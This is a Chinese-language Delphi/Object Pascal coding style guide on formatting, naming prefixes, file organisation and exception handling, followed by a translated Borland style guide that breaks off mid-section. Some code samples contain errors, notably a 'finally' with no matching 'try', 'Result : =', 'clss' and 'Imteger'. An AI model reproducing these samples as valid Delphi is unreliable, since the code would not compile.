我们通常使用“{...}”类型的块注释，以前的“(*...*)”类型的块注释用于临时注释掉暂不使用的代码，从Delphi 2开始支持“//”行注释，如果决定不在支持Delphi 2.0以下的版本，可以使用“//”注释。

2.2.Object Pascal语句格式语句书写规范与用法

1). 括号

在左括号与下一字符之间没有空格。同样，右括号与前一字符也没有空格。下面的例子演示了正确与不正确的空格。

CallProc( Aparameter ); // 错!
CallProc(Aparameter); // 正确!

不要在语句中包含多余的括号。在源代码中，括号只有在确实需要时才使用。下面的例子演示了正确与不正确用法：

if (I=42) then // 错，括号是多余的
if (I=42) or (J=42) then // 正确，必须使用括号

2). 保留字和关键字

Object Pascal 语言的保留字和关键字总是完全的小写。下面是Delphi 5保留字列表:

and | array | as | asm
begin | case | class | const
constructor | destructor | dispinterface | div
do | downto | else | end
except | exports | file | finalization
finally | for | function | goto
if | implementation | in | inherited
initialization | inline | interface | is
label | library | mod | nil
not | object | of | or
out | packed | procedure | program
property | raise | record | repeat
resourcestring | set | shl | shr
string | then | threadvar | to
try | type | unit | until
uses | var | while | with
xor | private | protected | public
published | automated |  |

3). 过程和函数

(1). 格式

过程名应当以大写字母开始，且大小写交错以增加可读性。下面是一个不正确的写法：

procedure thisisapoorlyformattedroutinename;

改成这样写就对了：

procedure ThisIsMuchMoreReadableRoutineName;

(2). 形参

(1) 格式

只要可能，同一类型的形参应当归并在一起：

procedure Foo(Param1,Param2,Param3:Imteger;Param4:string);

(2) 参数顺序

形参的顺序主要要考虑寄存器调用规则。最常用的参数应当作为第一个参数，按使用频率依次从左到右排。输入参数位于输出参数之前。范围大的参数应当放在范围小的参数之前。例如：

SomeProc(aPlanet, aContinent, aCountry, aState, aCity).

有些则例外。例如，在事件处理过程中，TObject 类型的Sender 参数往往是第一个要传递的参数。

(3) 常量参数

要使记录、数组、短字符串或接口类型的参数不能被过程修改，就应当把形参标以Const 。这样，编译器将以最有效的方式生成代码，保证传递的参数不可变。

如果其他类型的参数希望不被过程所修改，也可以标上Const 。尽管这对效率没有影响，但这给过程的调用者带来了更多的信息。

4). 变量

(1). 局部变量

局部变量用于过程内部，果需要的话，应当在过程的入口处立即初始化变量。局部的AnsiString 类型的变量自动被初始化为空字符串，局部的接口和dispinterface类型的变量自动被初始化为nil，局部的Variant和OleVariant类型的变量自动被初始化为Unassigned。

(2). 全局变量

一般不鼓励使用全局变量。不过，有时候需要用到。即使如此，也应当把全局变量限制在需要的环境中。例如，一个全局变量可能只在单元的实现部分是全局的。

全局数据如果将由许多单元使用，就应移动到一个公用单元里被所有对象使用。全局数据可在声明时直接初始化为一个值。注意，所有全局变量自动进行零初始化，因此，不要将全局变量初始化为诸如0 、nil、或Unassigned等空值。零初始化的全局变量在.EXE文件中不占空间。零初始化的数据保存在虚拟的数据段中，而虚拟数据段只在应用程序启动时才分配内存。非零初始化的全局数据则在.EXE文件中占空间。

5). 类型

(1). 大小写规则

类型标识符是保留字，应当全部小写。Win32 API 类型常常全部大写，并且遵循诸如Windows.pas或其他API单元中关于特定类型名的规则。对于其他变量名，第一个字母应大写，其他字母则大小写交错。下面是一些例子：

var
MyString: string; // 保留字
 WindowsHandle: HWND; // Win32 API 类型
 I: Integer; //在System单元中引入的类型标识

(2). 浮点型

不鼓励使用Real类型，因为它只是为了与老的Pascal代码兼容而保留的。通常情况下，对于浮点数应当使用Double。Double可被处理器优化，是IEEE定义的标准的数据格式。当需要比Double提供的范围更大时，可以使用Extend。Extend是intel专用的类型，Java不支持。当浮点变量的物理字节数很重要时(可能使用其他语言编写DLL)，则应当使用Single。

(3).Variant和OleVariant

一般不建议使用Variant和OleVariant。但是，当数据类型只有在运行期才知道时(常常是在COM和数据库应用的程序中)，这两个类型对编程就有必要。当进行诸如自动化ActiveX控件的COM编程时，应当使用OleVariant；而对于非COM编程，则应当使用Variant。这是因为，Variant能够有效地保存Delphi的原生字符串，而OleVariant则将所有字符串转换为OLE字符串(即WideChar字符串)，且没有引用计数功能。

6). 语句

(1). If 语句

在if/then/else语句中，最有可能执行的情况应放在then子句中，不太可能的情况放在else子句中。为了避免出现许多if语句，可以使用case语句代替。如果多于5级，不要使用if语句。请改用更清楚的方法。不要在if语句中使用多余的括号。

如果在if语句中有多个条件要测试，应按照计算的复杂程度从右向左排。这样，可以使代码充分利用编译器的短路估算逻辑。例如，如果Condition1比Condition2快，Condition2比Condition3快，则if语句一般应这样构造：

if Condition1 and Condition2 and Condition3 then

如果Condition3为False的机会很大，利用短路估算逻辑，我们也可以将Condition3放在最前面：

if Condition3 and Condition1 and Condition2 then

(2). case 语句

(1) 概述

case语句中每种情况的常量应当按数字或字母的顺序排列。每种情况的动作语句应当简短且通常不超过4 - 5 行代码。如果动作太复杂，应将代码单独放在一个过程或函数中。Case语句的else子句只用于默认情况或错误检测。

(2) 格式

case语句遵循一般的缩进和命名规则。

(3). while 语句

建议不要使用Exit过程来退出while循环。如果需要的话，应当使用循环条件退出循环。所有对while循环进行初始化的代码应当位于while入口前，且不要被无关的语句隔开。任何业务的辅助工作都应在循环后立即进行。

(4). for 语句

如果循环次数是确定的，应当用for语句代替while语句。

(5). repeat 语句

repeat语句类似于while循环，且遵循同样的规则。

(6). with 语句

(1) 概述

with语句应小心使用。要避免过度使用with语句，尤其是在with语句中使用多个对象或记录。例如：

with Record1,Record2 do

这些情况很容易迷惑编程人员，且导致调试困难。

(2) 格式

with语句也遵循本章关于命名和缩进的规则。

7). 结构化异常处理

(1). 概述

异常处理主要用于纠正错误和保护资源。这意味着，凡是分配资源的地方，都必须使用try...finally来保证资源得到释放。不过，如果是在单元的初始/结束部分或者对象的构造器/析构器中来分配/释放资源则例外。

(2). try...finally的用法

在可能的情况下，每个资源分配应当与try...finally结构匹配，例如，下面代码可能导致错误：

SomeClass1 := TSomeClass.Create;
SomeClass2 := TSomeClass.Create;
try
{ do some code }
finally
SomeClass1.Free;
SomeClass2.Free;
end;

上述资源分配的一个安全方案是：

SomeClass1 := TSomeClass.Create;
try
SomeClass2 := TSomeClass.Create;
try
{ do some code }
finally
SomeClass2.Free;
end;
finally
SomeClass1.Free;
end;

(3). try...except的用法

如果你希望在发生异常时执行一些任务，可以使用try...except。通常，没有必要为了简单地显示一个错误信息而使用try...except，因为Application对象能够自动根据上下文做到这一点。如果要在子句中激活默认的异常处理，可以再次触发异常。

(4). try...except...else的用法

不鼓励使用带else子句的try...except，因为这将阻塞所有的异常，包括你没有准备处理的异常。

3.命名规范

3.1.过程(Procedure)与函数(Function)

1).命名

过程与函数名应当有意义。进行一个动作的过程最好在名称前加上表示动作的动词为前缀。例如：

procedure FormatHardDrive;

设置输入参数值的过程名应当以Set 为其前缀，例如：

procedure SetUserName;

获取数值的过程名应当以Get 为其前缀，例如：

function GetUserName:string;

2).形参

所有形参的名称都应当表达出它的用途。如果合适的话，形参的名称最好以字母a 为前缀，例如：

procedure SomeProc(aUserName:string; aUserAge:integer);

当参数名与类的特性或字段同名时，前缀a 就有必要了。

3).命名冲突

当两个单元中含有相同名称的过程时，如果调用该过程，实际被调用的是Uses 子句中较后出现的那个单元中的过程。为避免这种情况，可在方法名前加想要的单元名，例如：

SysUtils.FindClose(SR);

或Windows.FindClose(Handle);

3.2.变量(Variable)

变量的名称应当能够表达出它的用途。循环控制变量常常为单个字母，诸如I 、J 或K 。也可以使用更有意义的名称，例如UserIndex。布尔变量名必须能清楚表示出True 和False 值的意义。

1). 局部变量

局部变量遵循其他变量的命名规则。

2). 全局变量

全局变量以大写字母“G”打头，并遵循其他变量的命名规则。

3.3.类型(Type)

3.3.1.一般类型

1). 枚举型

枚举类型名必须代表枚举的用途。名称前要加T字符作为前缀，表示这是个数据类型。枚举类型的标识符列表的前缀应包含2 - 3 个小写字符，来彼此关联。例如：

TSongType=(stRock, stClassical, stCountry, stAlternative, stHeavyMetal, stRB);

枚举类型的变量实例的名称与类型相同，但没有前缀T ，也可以给变量一个更加特殊名称，诸如：FavoriteSongTypel、FavoriteSongType2等等。

3.3.2.构造类型

1). 数组类型

数组类型名应表达出该数组的用途。类型名必须加字母“T”为前缀。如果要声明一个指向数组类型的指针，则必须加字母P 为前缀，且声明在类型声明之前。例如：

type
PCycleArray = ^TCycleArray;
TCycleArray=array[1..100] of integer;

实际上，数组类型的变量实例与类型名称相同，但没有“T”前缀。

2). 记录类型

记录类型名应表达出记录的用途。类型名必须加字母T为前缀。如果要声明一个指向记录类型的指计，则必须加字母P为前缀，且其声明在类型声明之前。例如：

type
PEmployee = ^TEmployee;
TEmployee = record
EmployeeName: string;
EmployeeRate: Double;
end;

3.3.3.类类型(Class)

1). 命名与格式

类的名称应当表达出类的用途。一般的类名前要加字母“T”，如果是接口类那么类名前要加“I”，错误异常类的类名前要加“E”，而类引用类型（Class-reference type）则要在类名后加“Class”。例如：

type
TCustomer = class(TObject);
ICustomer = interface;
TCustomerClass = class of TCustomer
ECustomerException = class(Exception);

类的实例名称通常与类名相同，只不过没有前缀“T”。

var
Customer: TCustomer;

注意:关于元件的命名，请参阅“元件类型”。

2).字段

(1) 命名与格式

字段的命名遵循与变量相同的规则，只不过要加前缀F ，表示这是字段。

(2) 可见性

所有字段必须为私有。如果要在类的作用域之外访问字段，可借助于类的属性来实现。

3).方法

(1) 命名与格式

方法的命名遵循与过程和函数相同的规则。

(2) 静态方法

当你不希望一个方法被派生类覆盖时，应当使用静态方法。

(3) 虚拟方法(virtual)与动态方法(dynamic)

当你希望一个方法能被派生类覆盖，应当使用虚拟方法(virtual)。如果类的方法要被多个派生类直接或间接地使用，则应当用动态方法(dynamic)。例如，某一个类含有一个被频繁覆盖的方法，并有100个派生类，则应将方法定义为动态的，这样可以减少内存的开销。

(4) 抽象方法(abstract)

如果一个类要创建实例，则不要使用抽象方法。抽象方法只能在那些从不创建实例的基类中使用。

(5) 属性访问方法

所有属性访问方法应当定义在类的私有或保护部分。属性访问方法遵循与过程和函数相同的规则。用于读的方法应当加“Get”前缀，用于写的方法应当加“Set”前缀，并且有一个叫Value的参数，其类型与属性的类型相同。例如：

TSomeClass = class(TObject)
private
FSomeField: Integer;
protected
function GetSomeField: Integer;
procedure SetSomeField(Value: Integer);
public
property SomeField: Integer read GetSomeField write SetSomeField;
end;

尽管不是必须，但还是建议你使用写访问方法来访问代表私有字段属性。

4).属性

属性作为私有字段的访问器，遵循与字段相同的命名规则，只不过没有F前缀。属性名应为名词，而不是动词。属性是数据，而方法是动作。数组属性名应当是复数，而一般的属性应当是单数。

3.3.4.元件类型

1). 元件类型的命名标准

元件的命名与类的命名类似，只不过当它与其它元件名称冲突时，你可以加上3个字符的前缀，用以标识公司、个人或其他实体。例如，一个时钟元件可以这样声明：

TddgClock = class(TComponent)

注意，作为前缀的3 个字符要小写。

2). 元件实例的命名规则

元件实例的名称应当能够描述其实际意义，这里命名规则使用了一个变更的匈牙利前缀命名规范。使用前缀而不使用后缀的原因是在搜寻时，在对象检查器和代码探索器中搜寻构件的名字比搜寻构件的类型更容易。在这个标准中，元件实例名包括两个部分：前缀和性质标识名。

(1). 元件的前缀

元件的前缀多是表现元件类型的字母缩写。参见下面表中的元件前缀：

元件类名 | 元件前缀
TActionList, TAction表示动作的列表项 | act
TButton, TSpeedButton, TBitBtn等所有的按钮类 | btn
TCheckBox, TDBCheckBox等所有的检查框 | chk
TRadioButton单选按钮类 | rdo
TToolBar工具条 | tb
TMainMenu所有的主菜单类 | mm
TMainMenuItem所有的菜单项类 | mi
TPopupMenu所有的弹出式菜单类 | pm
TPopupMenuItem所有的弹出式菜单项类 | pmi
TLabel, TStaticText等所有用来显示的标签类 | lbl
TPanel等所有的面板类 | pnl
TPageControl等所有的页式控件类 | pgc
TEdit, TMaskEdit等所有的单行编辑框类 | edt
TMemo, TRichEdit等所有的多行编辑框类 | mmo
TDrawGrid, TStringGrid等所有的网格类 | grd
TAnimate等所有的动画类 | ani
TImageList等所有的图片列表类 | il
TImage等图片类 | img
TChart图表类 | cht
TComboBox, TDBComboBox等所有的下拉式列表框类 | cbo
TListBox, TDBList等所有的列表框类 | lst
TTreeView | tv
TListView | lv
THotKey | hk
TSplitter等所有的分隔符类 | spt
TOpenDialog等所有的对话框元件类 | dlg
TTable等所有的数据表类 | tbl
TQuery等所有的SQL查询类元件 | qry
TClientDataSet所有的客户数据集元件 | cds
TDataSource | ds
TDatabase | db
TSockConnection,TDCOMConnection等连接元件类 | con
TQuickRep, TFastReport等所有的报表元件类 | rpt
TDDEClientConv,TDDEClientItem等所有的DDE元件类 | dde
TMonthCalendar等所有的日历类 | cal
TGroupBox等控件类 | grp

如上所示，元件类型前缀是从分析描述元件的类型性质而来的。通常情况下，下面的规则描述如何定义一个元件类型前缀：

  • 从元件类型名中移去T前缀。例如TButton变成Button。
  • 除了第一个元音，删去所有元音字母。例如，Button变成bttn，Edit变成edt。
  • 压缩双字母。例如，bttn变成btn。
  • 如发生冲突，则在某一元件前缀中加入一个元音。例如在TBatton元件的前缀中加入元音变为batn，以区别TButton的前缀。
  • 不过，上述规则首先得保证前缀名称必须符合习惯，做到见名知意，如:TDDEClientConv控件的前缀就是一个例外。

注意：元件的前缀是为了表示出元件的类型，是按钮，还是标签等等，因此没有必要为每一个特别元件类建立一个元件前缀，如: TMyButton的元件前缀仍为btn。

(2). 元件性质标识名

元件性质标识名是元件意图的描述。例如，一个用于关闭窗体的TButton元件实例可命名为btnClose。一个编辑姓名的元件实例可命名为edName。

3.3.5.窗体与对话框类型

1). 窗体类型的命名标准

窗体或对话框类型的名称应当表达出窗体的用途，如果是窗体要加“Tfrm”前缀，如果是对话框要加“Tdlg”，后跟描述性名。例如，About窗体类型名称为：

TfrmAbout = class(TForm)

主窗体的类型名称为:

TfrmMain = class(TForm)

客户登录窗体的类型名称为:

TfrmCustomerEntry = class(TForm)

登陆对话框的类型名称为：

TdlgLogin = class(TForm)

2). 窗体实例的命名标准

窗体实例的名称与相应的类型名称相同，但没有前缀T 。例如，前面提到的窗体类型与实例的名称为：

类型名 | 实例名
TfrmAbout | frmAbout
TfrmMain | frmMain
TfrmCustomerEntry | frmCustomerEntry
TdlgLogin | dlgLogin

3). 自动创建的窗体

除非特别原因,只有主窗体才自动生成。其他所有窗体必须从Project Options对话框的自动生成列表中删除。更进一步信息,请参阅后面几节。

4). 模式窗体实例化函数

所有窗体单元都应当含有实例化函数，用于创建、设置、模式显示和释放窗体。这个函数将返回由窗体返回的模式结果。传递给这个函数的参数遵循参数传递的规则。之所以要这样封装，是为了便于代码的重用和维护。

窗体的变量应当从单元中移走，改在窗体实例化函数中作为局部变量定义(注意，要求从Project Options对话框的自动生成列表中移走该窗体。请看前面的内容。

例如，下面的单元文件演示了GetUserData的实例化函数。

Unit UserDataFrm;

Interface

Uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

Type

TfrmUserData = class(TForm)
edtUserName: TEdit;
edtUserID: TEdit;
private
{ Private declarations }
public
{ Public declarations }
end;

function GetUserData(var aUserName: String;var aUserID: Integer): Word;

implementation

{$R *.DFM}

function GetUserData(var aUserName: String;var aUserID: Integer): Word;
var
frmUserData: TfrmUserData;
begin
frmUserData := TfrmUserData.Create(Application);
frmUserData.Caption:='Getting User Data' ;
Result : = frmUserData.ShowModal;
if Result=mrOK then
begin
aUserName := frmUserData.edtUserName.Text;
aUserID := StrToInt(frmUserData.edtUserID.Text);
end;
finally
frmUserData.Free;
end;
end;

End.

5).窗体框架与复合窗体

如果一个窗体结构过于复杂，就必须将其分化成为一个主窗体框架以及嵌入到主窗体框架的若干子窗体框架。如：

TfrmMainFrame: TfrmInfoFrame,TfrmEditorFrame

使用窗体框架，主要是为了解决界面和代码复用问题，以及提高单元代码的内聚力（划分后，每一个窗体框架为一个独立单元），从而提高软件工程质量。你必须提炼出界面关联代码（可复用的）和应用关联代码（不能复用的）。

3.3.6.数据模块类型

1). 数据模块的命名标准

数据模块类型名称应表达出它的用途，且要加前缀“Tdm”，后跟描述性名称。例如，Customer数据模块的类型名称为：

TdmCustomer = class(TDataModule)

Orders 数据模块的类型名称为：

TdmOrder = class(TDataModule)

2). 数据模块实例的命名标准

数据模块实例的名称应当与相应的类型名称相同，但没有前缀T 。例如，前面的数据模块类型、实例名称如下：

类型名称 | 实例名
TdmCustomer | dmCustomer
TdmOrder | dmOrder

3.4.文件

建议在所有源文件、项目文件和单元文件使用结构化的文件头信息。一个文件头至少应包含以下信息：

{
Copyright @ Year by Authors
}

3.4.1.项目文件

项目文件的名称应当具有描述意义。例如，“The Delphi 5 Developer’s Guide Bug Manager ”的项目名称为DDGBugs.dpr，一个系统信息程序的名称为SysInfo.dpr。

3.4.2.窗体文件

窗体文件的名称应当表达出窗体的用途，且具有Frm后缀。例如，About窗体的文件名叫AboutFrm.dfm，主窗体的文件名叫MainFrm.dfm。

3.4.3.数据模块文件

数据模块文件的名称应当表达出数据模块的作用，且具有DM后缀。例如，Customers数据模块的文件名叫CustomersDM.dfm。

3.4.4.远程数据模块文件

远程数据模块文件的名称应当表达出远程数据模块的用途。名称后要加RDM后缀。例如，Customers远程数据模块的文件叫CustomersRDM.dfm。

3.4.5.单元文件

1). 普通单元

(1) 单元名

单元的名称应当有描述性。例如，应用程序的主窗体单元叫MaimFrm.pas。

(2) Uses 子句

Interface部分的Uses子句应当只包含该部分需要的单元。不要包含可能由Delphi自动添加的单元名。Implementation部分的Uses子句应当只包含该部分需要的单元，不要有多余的单元。

(3) Interface 部分

Interface部分应当只包含需要被外部单元访问的类型、变量、过程与函数的声明。而且，这些声明应当在Implementation部分之前。

(4) Implementation 部分

Implementation部分包括本单元私有的类型、变量、过程与函数的实现。

(5) Initialization 部分

不要在Initialization部分放置花费时间很多的代码。否则，将导致应用程序启动时显得很慢。

(6) Finalization 部分

确保释放所有在Initialization部分中分配的资源。

2).窗体单元

窗体单元文件的名称与相应的窗体名称相同，只是要将前缀变成后缀。例如，About窗体的单元名称叫AboutFrm.pas。主窗体的单元文件名称叫MainFrm.pas。

3).数据模块单元

数据模块单元文件的名称与相应的数据模块名称相同。例如，数据模块单元的名称叫CustomersDM.pas。

4).通用单元

通用单元的名称应当表达出它的用途，名称前要加“u”前缀。例如，一个实用调试工具单元的名称叫uDebugUtilities.pas，包含全局变量的单元名称叫uCustomerGlobals.pas。

注意，一个项目中单元名称必须是唯一的。通用单元名不能重名。

5).元件单元

(1). 命名

元件单元应放在单独的路径中，以表明它们是定义元件的单元。它们一般与项目不放在同一路径下。单元文件名称应表达出其内容。

注意，有关元件命名标准的更多信息，请参阅“元件类型的命名标准”。

元件单元只能含有一个主要元件，这是指出现在元件选项板上的元件。其他辅助性的元件或对象也可以包含在同一单元中。

(2). 注册单元

元件的注册过程应当从元件单元中移走，放在一个单独的单元中。这个注册单元用于注册所有元件、属性编辑器、元件编辑器、向导等。

元件注册应当在设计期包中进行。因此，注册单元应当包含在设计期包而不是运行期包中。建议注册单元这样命名：

xxxReg.pas

其中，xxx字符前缀，以标识元件包名称或公司、个人、其他实体。例如，注册单元命名为xxxReg.pas。

6).包文件（.dpk）命名规则

(1). 运行期包与设计期包

运行期包中应当只包含所需要的单元。那些属性编辑器和元件编辑器的单元应当放在设计期包中。注册单元也应当放在设计期包中。

(2). 文件命名标准

包的命名遵循下列模式：

dcliiiDescvvCn.pkg —设计期包
iiiDescvvCn.pkg —运行期包

其中，iii代表一个2-3字符的前缀，用于标识公司、个人或其他需要标识的事情，也可不要；Desc表示该控件包的简短描述；vv代表包的版本号，你可以根据需要取舍；前缀“dcl”表示设计期包，没有该前缀表示运行期包；字母“Cn”表示编译器类型与编译器版本号，如：Delphi5=D5, Delphi4=D4, CBuilder3=C3...。

注意包名称中的lib或std分别表示这是设计期包还是运行期包。例如：

dclrbStdCompsD5.pkg —Delphi 5的设计期包
rbStdCompsD5.pkg —Delphi 5的运行期包

4.Delphi代码自动格式化工具

尽管大多数的代码自动格式化工具能够帮你重排源程序格式，以及更新保留字和标示符的大小写，但是这最好在使用版本控制前进行，如果你已经使用了版本控制，建议你不要轻易使用代码自动格式化工具，哪怕多一个空格，版本控制工具也会认为该行已被修改，从而给程序管理带来不变。


CSDN_文档中心_Delphi代码的标准风格

Object Pascal Style Guide - By Charles Calvert
(对象Pascal编码风格向导 - 译：Tommy Tong)
我们承认许多好的已经确定的工作室或个人，拥有他们自己的和本文里所说的不同的编程习惯， 但是，我们强烈建议你使用一个工具将你的代码转换为Borland风格的代码，然后再提交给Borland，Project JEDI或其他任何公开的源代码知识库。我们不想强迫你改变你的习惯，但我们坚持所有同Borland产品一起工作的的代码遵循本文描述的习惯。
对象Pascal是一种优美的设计语言。较强的可读性就是它的一个优点。本文设计的标准将增强对象Pascal代码的可读性。当开发人员遵从本文展现的这些简单的习惯，他们也将成为标准，这将有益于所有的Delphi开发人员使用统一的易读的代码风格。执行这些标准的努力将增加开发人员的源代码的价值，特别是在维护和调试循环阶段。
尽管我们相信并且赞美本文所宣扬的风格，但我们没有必要支持它，因为它本身是正确的而其它的则是错误的。然而我们相信绝大多数开发人员遵从的标准是有它的功效的，所以我们仍然支持并维护该风格。人类的大脑总在适应标准，并且找寻方法去快速组织所熟悉的模式，从而快速而有效地理解其含义。正是因这种要求而建立的标准将使大量的人尽可能容易的阅读代码。如果在初次使用我们的指导方针是感到陌生，那么我们请你坚持一会儿，你会发现你也变得习惯了。或者，如果你愿意，你也可以保持你自己的风格，并通过一个遵从我们标准的程序来转换，然后你可以将你的代码提交给Borland或其他知识库了。
一些文本编辑器，象Visual SlickEdit可以帮助你按照一定的风格来格式化你的代码。

一个免费的由Egbert van Nes开发的格式化程序可以在以下的连接获得：
http://www.slm.wau.nl/wkao/delforexp.html

另一个针对Delphi的商业化程序是CrackerJax：
http://www.kineticsoftware.com/html/products.html

－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－

1.0 介绍
本文不是为Object Pascal语言定义语法规则的一种尝试。例如：在else前面放置封号"；"是违法的；编译器不允许这种用法。所以我不会在本文中展示语法规则。本文旨在在语言提供选择的地方定义适当的行为习惯。我通常在只有一种控制方法的地方保持沉默。

1.1 背景
在本文出现的指导方针基于Delphi源代码的一部分。Delphi源代码恰好遵循这些指导方针。如果你发现了违反这些原则的情况，那么应该是这些原则而不是那些不确定的源代码成为你的指导方针。然而，你可以使用这些原代码作为这些原则的补充，至少它可以帮助你得到关于你自己的代码的形式的一般看法。

1.2 感谢
本文这些格式是基于已完成的为Java语言定义的风格标准的工作的。Java在规则上对格式化Object Pascal源代码是没有任何影响的，但在Sun网站上的文档是本文的基础。 在某些特殊的地方本文的风格和格式受到"A Coding Style Guide for Java WorkShop and Java Studio Programming"(Achut Reddy, 《Java车间和Java工作室的编码向导》)的很大启发。该文章可在该URL找到：http://www.sun.com/workshop/java/wp-coding
Delphi小组为本文的完成做出了重大贡献，事实上，如果没有它们的帮助，本文是无法完成的。

2.0 源文件
Object Pascal源代码主要被分成单源文件和项目文件，他们都遵从相同的习惯。Delphi项目文件有一个.DPR的扩展名。它是项目的主文件。任何在项目中使用的单元文件都有一个.PAS的扩展名。其它的文件，象批处理文件、HTML文件或者DLLs也可以在项目中扮演一个角色，但本文只涉及项目文件和单元文件。

2.1 源文件命名
Object Pascal支持长文件名。如果你使用几个单词来形成一个单一的名称，那么最好是为每个单词使用大写的开头字母：MyFile.pas。这被认为是插入式大写或驼峰式大写。扩展名应当使用小写形式。由于历史原因，Delphi源代码经常使用8:3式命名模式，但开发人员不必为上述规则所限制而转向Delphi小组的用法。
如果你正在翻译一个C/C++头文件，那么你翻译的Pascal文件要与C/C++头文件保持相同的主文件名，扩展名用.PAS。例如：Windows.h -> Windows.pas。如果Pascal语法强迫你将几个头文件组合到一个单一的单元文件中，那么包含其他头文件的那个头文件的文件名将作为新单元文件的名称。例如：Windows.h包含了WinBase.h文件，则新的单元文件名为Windows.pas.

2.2 源文件组织
所有的Object Pascal单元文件应当按照以下的顺序包含下列元素：
版权／标识块注释
单元名
接口段
实现部分
一个结束符"end."

每个部分之间至少空一行。

其它的元素应当被结构化成你认为最适当的顺序。但版权应当出现在文件的最开始，然后是单元名，然后是任何条件定义、编译器指示符或包含语句，然后是uses字句：

{*******************************************************}
{                                                       }
{       Borland Delphi Visual Component Library         }
{                                                       }
{       Copyright (c) 1995,98 Inprise Corporation       }
{                                                       }
{*******************************************************}

unit Buttons;

{$S-,W-,R-}
{$C PRELOAD}

interface

uses
  Windows, Messages, Classes,
  Controls, Forms, Graphics,
  StdCtrls, ExtCtrls, CommCtrl;

如果你将type段放到const段之前，或者将它们两者混合，那是没有什么影响的。

实现部分需要首先将implementation写出来，然后是uses字句，然后是其它的包含声明或别的指示符：

implementation

uses
  Consts, SysUtils, ActnList,
  ImgList;

{$R BUTTONS.RES}

2.2.1 版权／标识块注释
每一个源文件都应当以一个包含版本信息和标准版权布告块注释开始。版本信息可以象下面这样：

{*******************************************************}
{                                                       }
{       Widgets Galore                                  }
{                                                       }
{       Copyright (c) 1995,98 Your Company              }
{                                                       }
{*******************************************************}

版权布告至少需要包含以下行：
版权所有(C) 年份 版权所有者

如果你是为Borland开发软件的第三方，你可以在版权的最后加入你自己的名字：

{*******************************************************}
{                                                       }
{       Borland Delphi Visual Component Library         }
{       Copyright (c) 1995,99 Borland International     }
{       Created by Project JEDI                         }
{                                                       }
{*******************************************************}

2.2.2 unit声明
每一个单元文件要有一个unit声明。unit是一个保留字，因此它需要小写。单元的名称可以是大小写混合的，但必须和单元文件的文件名相同。例如：
unit MyUnit;

则单元文件的名称应当为MyUnit.pas。在文件系统中，它作为这个文件的入口。

2.2.3 uses声明
在单元内部，uses声明应当使用小些的uses引导。被引用的单元名要遵循在他自己的单元中被定义时使用的大写习惯：
uses MyUnit;
每一个单元名被一个逗号同其相邻的单元名分开，最后一个单元名后面跟一个分号：

uses
  Windows, SysUtils, Classes, Graphics, Controls, Forms,
  TypInfo;
    在uses的下一行开始加入单元名和在uses后面直接加入单元名同样都是正确的。
uses Windows, SysUtils, Classes, Graphics, Controls, Forms,
  TypInfo;

你可以格式化你的单元名列表，可以在80个字符限制下换行，或者每个单元名一行。

2.2.4 类和接口定义
类的定义以两个空格开始，然后是一个前缀"T"。 前缀要大写，每个内嵌的单词要大写开头。不要在Object Pascal源代码中使用制表符"Tab"。例：
TMyClass
在标识符之后接一个空格，然后是等号，然后是class单词，class要小写：
TMyClass = class
如果你的类是从祖先继承来的，则需要加入包含着祖先类的左右括号：
TMyClass = class(TObject)
范围指示符离页边两个空格，并以下面的顺序出现：
TMyClass = clss(TObject)
private
protect
public
published
end;
数据通常只在private段声明，并且它们的标识符以"F"开始。所有此类的声明离页边4个空格：

  TMyClass = class(TObject)
  private
    FMyDate: Integer;
    function GetDate: Integer;
    procedure SetData(Value: Integer);
  public
  published
    property MyData: Integer read GetData write SetData;
  end;

接口遵从同类相同的规则，除了你应当忽略范围指示符和私有数据，并且使用interface单词代替class单词。
命名习惯
除了保留字和指示符是小写外，所有的Pascal标识符应当使用驼峰式格式，即每个标识符开头字母要大写，内嵌单词的首字母也要大写，只取首字母的缩写词也一样。
MyIdentifier
MyFTPClass
对此规则主要的例外是头文件翻译的情况，应当遵循在原头文件中的命名习惯。例如：
WM_LBUTTONDOWN，不要写成wm_LButtonDown.
除了头文件翻译外，不要使用下划线分割单词。类名应当是名词或名词短语。接口或类的名称依赖于接口的显而易见的目的、用途。

好的名字：
AddressForm, ArrayIndexOutOfBoundsException
低劣的名字：
ManageLayout //使用动词短语
delphi_is_new_to_me //使用下划线

3.1 单元命名
参见单元声明

3.2 类／接口命名
参见类／接口声明

3.3 域／字段命名
使用驼峰式格式。以大写的"F"开始，并且在private中声明所有的数据，使用属性或获取者(getter)和安装者(setter)来提供公共的存取操作。例如：使用名字GetSomething来命名一个返回内部域／字段值的函数，使用SetSomething来命名一个设置域／字段值的过程。
不要在const段全部使用大写，除非是头文件翻译的需要。
Delphi是在加利福尼亚开发的，所有我们阻止记号的使用，除非是头文件翻译的需要。
正确：
FMyString: string;
不正确：
lpstrMyString: string;
当然在枚举类型定义中保留了匈牙利命名法：
TBitBtnKind = (bkCustom, bkOK, bkCancel, bkHelp,
bkYes, bkNo, bkClose, bkAbort, bkRetry,
bkignore, bkAll);
在这种情况下字符bk被插入到这个枚举类型的每一个元素前。bk意味着ButtonKind。
在考虑命名习惯时，要避免使用单个字符的名称，但零时变量和循环变量除外。
避免使用"l"(L)变量，因为它和"1"(one)无论在打印机还是在显示器上都难以分辨。

3.4 方法命名
方法命名也使用驼峰格式。方法命名习惯同非常量域的命名方法是相同的，但可以从上下文区分它们。方法命名应当强制使用动词或动词短语。例如：
//好的方法命名：
ShowStatus, DrawCircle, AddLayoutComponent
//差的方法命名：
MouseButton //名词短语，没有描述功能
drawCircle //以小写字母开头
add_layout_component //使用了下划线

//以下方法的功能不够明确。它是开始运行一个服务呢(更好：StartServer)还是判断一个服务是否在运行(更好：IsServerRunning)？
ServerRunning //动词短语，但不是命令
一个获取或者设置一些类属性的方法应当分别被称为GetProperty或者SetProperty，Property代表该属性的名称。例如：
GetHeight, SetHeight
一个测试类的布尔属性的方法应当被命名为IsVisible，Visible代表属性的名称。例如：
IsResizable, IsVisible

3.5 局部变量命名
除了不使用"F"外，局部变量的命名规则同域／字段的命名规则一样。参见3.3节。

3.6 保留字
保留字和指示符要全部小写。这有时有些混乱。例如：Integer是一个标识符，并且以首字母大写出现。而string保留字则全部小写。

3.7 类型声明
所有类型名称声明以字母T开始，接下来和类的命名相同。

4.0 空白用法
4.1 空白行
空白行可以通过将逻辑相关的代码段分组来提高可读性。一个空白行也可以在下列地方使用：
在版权注释块之后，包声明(package)，导入段(import)。
类声明之间。
方法声明之间。
4.2 空格
